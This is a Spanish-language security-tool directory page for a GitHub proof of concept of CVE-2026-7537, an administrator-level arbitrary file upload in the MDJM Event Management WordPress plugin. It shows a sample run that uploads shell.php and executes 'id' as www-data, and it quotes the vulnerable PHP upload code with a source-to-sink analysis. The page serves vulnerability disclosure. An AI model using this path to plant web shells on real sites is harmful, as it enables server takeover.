Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-7537 — MDJM Event Management <= 1.7.8.3 - Autenticado (Administrador+) Subida Arbitraria de Archivos a través del parámetro 'mdjm_email_upload_file' | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2026-7537
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubd0n601/cve-2026-7537

CVE-2026-7537

MDJM Event Management <= 1.7.8.3 - Autenticado (Administrador+) Subida Arbitraria de Archivos a través del parámetro 'mdjm_email_upload_file'

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

MDJM Event Management <= 1.7.8.3 - Carga arbitraria de archivos autenticada (Administrador+) mediante el parámetro 'mdjm_email_upload_file'

El plugin de WordPress MDJM Event Management (versión 1.7.8.3 y anteriores) contiene una vulnerabilidad de carga arbitraria de archivos que permite a administradores autenticados subir archivos PHP maliciosos al servidor, lo que potencialmente conduce a la ejecución remota de código.

Resumen de los exploits

Se proporciona un POC CVE-2026-7537.py para demostrar a un atacante autenticado subiendo shell.php y ejecutando código remoto:

root@kitploit:~
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Descripción técnica

La vulnerabilidad existe en la función mdjm_send_comm_email() de la funcionalidad de comunicaciones. La funcionalidad de carga carece de una validación de archivos adecuada al procesar archivos adjuntos para comunicaciones por correo electrónico. Esto permite a usuarios autenticados con la capacidad mdjm_comms_send (administradores y administradores de MDJM por defecto) cargar archivos arbitrarios, incluidos archivos PHP que pueden ejecutarse en el servidor.

Análisis de la ruta de ataque

Fuente: Entrada del usuario desde $_FILES['mdjm_email_upload_file'] Sumidero: move_uploaded_file($tmp_path, $file_path) en comms-functions.php#L248

La vulnerabilidad se produce porque:

  1. Registro de ruta: El formulario de comunicaciones es accesible para usuarios con la capacidad send_comms mediante comms-functions.php#L24.
  2. Verificación de capacidad: La capacidad mdjm_comms_send se otorga a usuarios con permiso manage_mdjm mediante class-mdjm-permissions.php#L626.
  3. Permisos de rol por defecto: El rol DJ (class-mdjm-roles.php#L97-L104) NO tiene mdjm_comms_send por defecto; solo los administradores lo tienen.
  4. Procesamiento de acciones: Los envíos de formularios se procesan a través de la función mdjm_process_actions() en admin-actions.php#L26.
  5. Invocación del manejador: La acción activa la función mdjm_send_comm_email() registrada en comms-functions.php#L300.
  6. Verificación de nonce: Si bien existe protección CSRF mediante la verificación de nonce en comms-functions.php#L235, no hay validación de archivos posterior.

Ubicación del código vulnerable

Archivo: includes/admin/communications/comms-functions.php#L241-L251

root@kitploit:~
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
    $upload_dir = wp_upload_dir();

    $file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
    $file_path = $upload_dir['path'] . '/' . $file_name;
    $tmp_path  = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated

    if ( move_uploaded_file( $tmp_path, $file_path ) ) {
        $attachments[] = $file_path;
    }
}
Descargar herramienta
  • Procesamiento de entrada: Los datos de archivo controlados por el usuario desde $_FILES['mdjm_email_upload_file'] se procesan directamente sin validación en comms-functions.php#L241-L251.
  • Manejo de archivos: El nombre del archivo se toma directamente de la entrada del usuario sin saneamiento ni validación de extensión.
  • Almacenamiento de archivos: Los archivos se guardan en el directorio de subidas de WordPress (/wp-content/uploads/YYYY/MM/) usando move_uploaded_file() sin comprobaciones de seguridad.